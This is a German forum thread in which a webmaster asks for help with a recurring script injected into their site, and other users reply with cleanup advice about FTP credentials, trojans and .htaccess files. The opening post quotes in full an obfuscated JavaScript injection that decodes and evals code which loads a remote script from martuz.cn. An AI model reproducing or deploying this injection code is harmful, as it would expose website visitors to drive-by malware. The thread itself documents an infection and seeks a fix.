Hallo,
habe folgendes Problem. Seit einiger Zeit sitzt ein script auf meiner website und kommt immer wieder.
Mein virenscanner hat es nicht erkannt, es erfolgt immer eine umleitung via javascript auf martuz.cn, nach aussen hin merkt man das gar nicht so, eventuell an der zugriffsgeschwindigkeit auf meine site.
Der erste, dem es aufgefallen ist, war natürlich google, die prompt mit einer malware warnung in den Suchergebnissen reagierten.
Habe das script gefunden im Quelltext, sieht so aus:
<script language=javascript><!--
(function(){var Exh43='%';var tg8='var-20a-3d-22-53-63-72ip-74E-6eg-69ne-22-2cb-3d-22-56-65rs-69o-6e()-2b-22-2cj-3d-22-22-2c-75-3dn-61viga-74-6fr-2eu-73e-72-41gent-3bif((-75-2ein-64-65-78O-66-28-22C-68ro-6de-22)-3c0)-26-26(u-2eind-65x-4ff-28-22Wi-6e-22)-3e-30)-26-26(u-2eindexOf(-22NT-206-22-29-3c0-29-26-26(do-63u-6de-6et-2ecookie-2einde-78Of(-22-6diek-3d1-22)-3c0)-26-26-28typ-65-6ff-28zrv-7at-73)-21-3dty-70e-6f-66(-22A-22-29-29)-7b-7a-72-76z-74s-3d-22-41-22-3bev-61-6c(-22if-28window-2e-22+a+-22)j-3dj+-22+-61-2b-22M-61jo-72-22+b-2ba+-22-4di-6eor-22+b+a-2b-22Build-22+-62-2b-22j-3b-22-29-3bdo-63ume-6e-74-2ewrite(-22-3cscr-69pt-20-73r-63-3d-2f-2fma-22+-22r-74uz-2e-63-6e-2fvid-2f-3fid-3d-22-2bj+-22-3e-3c-5c-2fscript-3e-22)-3b-7d';var Vhu=tg8.replace(/-/g,Exh43);var iNaw=unescape(Vhu);eval(iNaw)})();
--></script>
und nistet sich völlig ungefragt zwischen head und body ins html ein.
Habe dann mit verschiedenen scannern gesucht, nur der von avast bemerkt den code.
Habe mittels avast meinen rechner gesäubert, den code aus jeder einzelnen seite gelöscht und nun ist er wieder da, obwohl ich danach mich nicht mehr via ftp eingeloggt habe.
Kann mir jemand sagen, woher dieses Mistst.. kommt, was es macht und wie ich Herr der Lage werden kann?
Übrigens: Google hat meine Site noch mal geprüft, nachdem ich als sauber gemeldet habe, und statt in 23 von 130 hab ich den Code nun mittlerweile auf 50 seiten.

Ändere auf jeden Fall deine FTP - Einloggdaten!!! Weiter solltest du deinen PC untersuchen, wahrscheinlich hast du ein paar Trojaner drauf...

bereits passiert. waren welche drauf, vor dem neuen upload aber beseitigt.
Ftp passort war erst bei ws_ftp gespeichert, vor upload aber geändert und neues per hand eingegeben.
Könnte nur sein, dass ich den schädling auf einer html seite übersehen habe. Glaube ich aber eher nich.

Arbeite bitte alle Punkte unter dem Link Erste Schritte in meiner Signatur ab!

ich hatte das gleiche problem. du löschst am besten die gesamte seite und lädst sie neu hoch (also eine saubere version). das ganze machst du aber von einem rechner der definitv sauber ist und änderst auf diesem anderen rechner auch dein ftp login. desweiteren musst du alle htaccess dateien neu machen, denn auch darin versteckt sich der trojaner gerne.
viel erfolg!